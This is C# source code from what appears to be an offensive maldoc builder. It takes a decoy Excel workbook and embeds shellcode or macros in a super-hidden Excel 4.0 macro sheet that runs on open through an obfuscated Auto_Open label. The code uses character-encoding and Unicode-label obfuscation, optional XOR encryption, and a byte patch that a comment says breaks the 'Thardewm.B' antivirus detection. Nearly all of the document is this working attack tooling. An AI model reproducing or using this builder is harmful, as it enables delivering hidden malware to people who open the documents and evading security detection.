public static VBAInfo FromCompoundFile(CompoundFile cf, List <string> moduleNames) { VBAInfo info = new VBAInfo(); try { CFStorage projectStorage = cf.RootStorage.GetStorage("_VBA_PROJECT_CUR"); CFStorage vbaStorage = projectStorage.GetStorage("VBA"); info.ProjectWmStream = projectStorage.GetStream("PROJECTwm"); info.ProjectStream = projectStorage.GetStream("PROJECT"); info.ThisWorkbookStream = vbaStorage.GetStream("ThisWorkbook"); info.VbaProjectStream = vbaStorage.GetStream("_VBA_PROJECT"); info.dirStream = vbaStorage.GetStream("dir"); info.ModuleStreams = new List <CFStream>(); foreach (var moduleName in moduleNames) { try { info.ModuleStreams.Add(vbaStorage.GetStream(moduleName)); } catch (CFItemNotFound) { } } } catch (CFItemNotFound) { // If we don't have any VBA directory then just return null return(null); } return(info); }
public void WriteDocument(string filePath, byte[] wbBytes, VBAInfo vbaInfo = null) { CompoundFile cf = new CompoundFile(); if (vbaInfo != null) { vbaInfo.AddToCompoundFile(cf); } //Can be Book or Workbook CFStream workbookStream = cf.RootStorage.AddStream("Workbook"); workbookStream.Write(wbBytes, 0); OLEPropertiesContainer dsiContainer = new OLEPropertiesContainer(1252, ContainerType.DocumentSummaryInfo); OLEPropertiesContainer siContainer = new OLEPropertiesContainer(1252, ContainerType.SummaryInfo); //TODO [Stealth] Fill these streams with the expected data information, don't leave them empty CFStream dsiStream = cf.RootStorage.AddStream("\u0005DocumentSummaryInformation"); byte[] cfStreamBytes = new byte[] { 0xFE, 0xFF, 0x00, 0x00, 0x06, 0x02, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xE0, 0x85, 0x9F, 0xF2, 0xF9, 0x4F, 0x68, 0x10, 0xAB, 0x91, 0x08, 0x00, 0x2B, 0x27, 0xB3, 0xD9, 0x30, 0x00, 0x00, 0x00, 0xB0, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x9C, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0xA8, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xE4, 0x04, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x55, 0x73, 0x65, 0x72, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x55, 0x73, 0x65, 0x72, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x45, 0x78, 0x63, 0x65, 0x6C, 0x00, 0x40, 0x00, 0x00, 0x00, 0x80, 0x45, 0xA1, 0x6B, 0x7B, 0x93, 0xD6, 0x01, 0x40, 0x00, 0x00, 0x00, 0x00, 0xD3, 0x32, 0xDA, 0x7C, 0x93, 0xD6, 0x01, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; dsiContainer.Save(dsiStream); CFStream siStream = cf.RootStorage.AddStream("\u0005SummaryInformation"); // siStream.SetData(cfStreamBytes); siContainer.Save(siStream); cf.Save(filePath); // Break the Thardewm.B detection for smaller files =) byte[] excelDocBytes = File.ReadAllBytes(filePath); excelDocBytes[^ 1] = 0xFF;
public void WriteDocument(string filePath, WorkbookStream wbs, VBAInfo vbaInfo = null) { WriteDocument(filePath, wbs.ToBytes(), vbaInfo); }
/// <summary> /// Generate an Excel Document with a hidden macro sheet that will execute code described by the payload argument. /// </summary> /// <param name="decoyDocument">File path to the base Excel 2003 sheet that should be visible to users.</param> /// <param name="payload">Either binary shellcode or a newline separated list of Excel Macros to execute</param> /// <param name="payload64Bit">Binary shellcode of a 64bit payload, payload-type must be Shellcode</param> /// <param name="payloadType">Specify if the payload is binary shellcode or a macro list. Defaults to Shellcode</param> /// <param name="preamble">Preamble macro code to include with binary shellcode payload type</param> /// <param name="macroSheetName">The name that should be used for the macro sheet. Defaults to Sheet2</param> /// <param name="outputFileName">The output filename used for the generated document. Defaults to output.xls</param> /// <param name="debugMode">Set this to true to make the program wait for a debugger to attach. Defaults to false</param> /// <param name="payloadMethod">How should shellcode be written in the document. Defaults to using the SheetPackingMethod for encoding.</param> /// <param name="password">Password to encrypt document using XOR Obfuscation.</param> /// <param name="method">Which method to use for obfuscating macros. Defaults to ObfuscatedCharFunc. </param> /// <param name="localizedLabel">Use this flag in order to set a localized label in case Excel is not in US language. Default to Auto_Open</param> public static void Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, string preamble, PayloadType payloadType = PayloadType.Shellcode, string macroSheetName = "Sheet2", string outputFileName = "output.xls", bool debugMode = false, SheetPackingMethod method = SheetPackingMethod.ObfuscatedCharFunc, PayloadPackingMethod payloadMethod = PayloadPackingMethod.MatchSheetPackingMethod, string password = "", string localizedLabel = "Auto_Open") { if (decoyDocument == null || payload == null) { Console.WriteLine("decoy-document and payload must be specified in Build mode. Run build -h for usage instructions."); return; } //Useful for remote debugging if (debugMode) { Console.WriteLine("Waiting for debugger to attach"); while (!Debugger.IsAttached) { Thread.Sleep(100); } Console.WriteLine("Debugger attached"); } List <BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords(); string decoyDocPath = decoyDocument.FullName; WorkbookStream wbs = LoadDecoyDocument(decoyDocPath); List <string> sheetNames = wbs.GetAllRecordsByType <BoundSheet8>().Select(bs => bs.stName.Value).ToList(); VBAInfo vbaInfo = VBAInfo.FromCompoundFilePath(decoyDocPath, sheetNames); List <string> preambleCode = new List <string>(); if (preamble != null) { string preambleCodePath = new FileInfo(preamble).FullName; preambleCode = new List <string>(File.ReadAllLines(preambleCodePath)); } WorkbookEditor wbe = new WorkbookEditor(wbs); wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.SuperHidden); List <string> macros = null; byte[] binaryPayload = null; byte[] binary64Payload = null; //TODO make this customizable int rwStart = 0; int colStart = 0xA0; int dstRwStart = 0; int dstColStart = 0; int curRw = rwStart; int curCol = colStart; switch (payloadType) { case PayloadType.Shellcode: macros = MacroPatterns.GetX86GetBinaryLoaderPattern(preambleCode, macroSheetName); binaryPayload = File.ReadAllBytes(payload.FullName); if (payload64Bit != null && payload64Bit.Exists) { binary64Payload = File.ReadAllBytes(payload64Bit.FullName); } break; case PayloadType.Macro: macros = MacroPatterns.ImportMacroPattern(File.ReadAllLines(payload.FullName).ToList()); //Prepend the preamble to the imported pattern macros = preambleCode.Concat(macros).ToList(); break; default: throw new ArgumentException(string.Format("Invalid PayloadType {0}", payloadType), "payloadType"); } if (binaryPayload != null && binaryPayload.Length > 0) { if (payloadMethod == PayloadPackingMethod.Base64) { wbe.SetMacroBinaryContent(binaryPayload, 0, dstColStart + 1, 0, 0, method, payloadMethod); } else { wbe.SetMacroBinaryContent(binaryPayload, curRw, curCol, dstRwStart, dstColStart + 1, method); } curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1; if (rwStart > 0xE000) { curRw = 0; curCol += 1; } if (binary64Payload != null && binary64Payload.Length > 0) { if (payloadMethod == PayloadPackingMethod.Base64) { wbe.SetMacroBinaryContent(binary64Payload, 0, dstColStart + 2, 0, 0, method, payloadMethod); } else { wbe.SetMacroBinaryContent(binary64Payload, curRw, curCol, dstRwStart, dstColStart + 2, method); } curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1; if (rwStart > 0xE000) { curRw = 0; curCol += 1; } macros = MacroPatterns.GetMultiPlatformBinaryPattern(preambleCode, macroSheetName); } if (payloadMethod == PayloadPackingMethod.Base64) { macros = MacroPatterns.GetBase64DecodePattern(preambleCode); } } wbe.SetMacroSheetContent(macros, curRw, curCol, dstRwStart, dstColStart, method); // Initialize the Global Stream records like SupBook + ExternSheet wbe.InitializeGlobalStreamLabels(); if (method == SheetPackingMethod.CharSubroutine || method == SheetPackingMethod.AntiAnalysisCharSubroutine) { ushort charInvocationRw = 0xefff; ushort charInvocationCol = 0x9f; wbe.AddLabel("\u0000", charInvocationRw, charInvocationCol, true, true); //Abuse a few comparison "features" in Excel //1. Null bytes are ignored at the beginning and start of a label. //2. Comparisons are not case sensitive, A vs a or Ḁ vs ḁ //3. Unicode strings can be "decomposed" - ex: Ḁ (U+1E00) can become A (U+0041) - ◌̥ (U+0325) //4. The Combining Grapheme Joiner (U+034F) unicode symbol is ignored at any location in the string in SET.NAME functions wbe.AddLabel(UnicodeHelper.UnicodeArgumentLabel, null, true, true); //Using lblIndex 2, since that what var has set for us wbe.AddFormula( FormulaHelper.CreateCharInvocationFormulaForLblIndex(charInvocationRw, charInvocationCol, 2), payloadMethod); } else if (method == SheetPackingMethod.ArgumentSubroutines) { ushort charInvocationRw = 0xefff; ushort charInvocationCol = 0x9f; ushort formInvocationRw = 0xefff; ushort formInvocationCol = 0x9e; ushort evalFormInvocationRw = 0xefff; ushort evalFormInvocationCol = 0x9d; //Lbl1 wbe.AddLabel("c", charInvocationRw, charInvocationCol, false, false); //Lbl2 wbe.AddLabel("f", formInvocationRw, formInvocationCol, false, false); //Lbl3 wbe.AddLabel(UnicodeHelper.CharFuncArgument1Label, null, false, true); //Lbl4 wbe.AddLabel(UnicodeHelper.FormulaFuncArgument1Label, null, false, true); //Lbl5 wbe.AddLabel(UnicodeHelper.FormulaFuncArgument2Label, null, false, true); //Lbl6 wbe.AddLabel("e", evalFormInvocationRw, evalFormInvocationCol, false, false); //Lbl7 wbe.AddLabel(UnicodeHelper.FormulaEvalArgument1Label, null, false, true); List <Formula> charFunctionFormulas = FormulaHelper.CreateCharFunctionWithArgsForLbl(charInvocationRw, charInvocationCol, 3, UnicodeHelper.CharFuncArgument1Label); foreach (var f in charFunctionFormulas) { wbe.AddFormula(f, payloadMethod); } List <Formula> formulaFunctionFormulas = FormulaHelper.CreateFormulaInvocationFormulaForLblIndexes( formInvocationRw, formInvocationCol, UnicodeHelper.FormulaFuncArgument1Label, UnicodeHelper.FormulaFuncArgument2Label, 4, 5); foreach (var f in formulaFunctionFormulas) { wbe.AddFormula(f, payloadMethod); } List <Formula> formulaEvalFunctionFormulas = FormulaHelper.CreateFormulaEvalInvocationFormulaForLblIndexes( evalFormInvocationRw, evalFormInvocationCol, UnicodeHelper.FormulaEvalArgument1Label, 7); foreach (var f in formulaEvalFunctionFormulas) { wbe.AddFormula(f, payloadMethod); } } wbe.AddLabel(localizedLabel, rwStart, colStart); wbe.ObfuscateAutoOpen(localizedLabel); WorkbookStream createdWorkbook = wbe.WbStream; if (!string.IsNullOrEmpty(password)) { Console.WriteLine("Encrypting Document with Password " + password); XorObfuscation xorObfuscation = new XorObfuscation(); createdWorkbook = xorObfuscation.EncryptWorkbookStream(createdWorkbook, password); // createdWorkbook = createdWorkbook.FixBoundSheetOffsets(); } ExcelDocWriter writer = new ExcelDocWriter(); string outputPath = AssemblyDirectory + Path.DirectorySeparatorChar + outputFileName; Console.WriteLine("Writing generated document to {0}", outputPath); writer.WriteDocument(outputPath, createdWorkbook, vbaInfo); }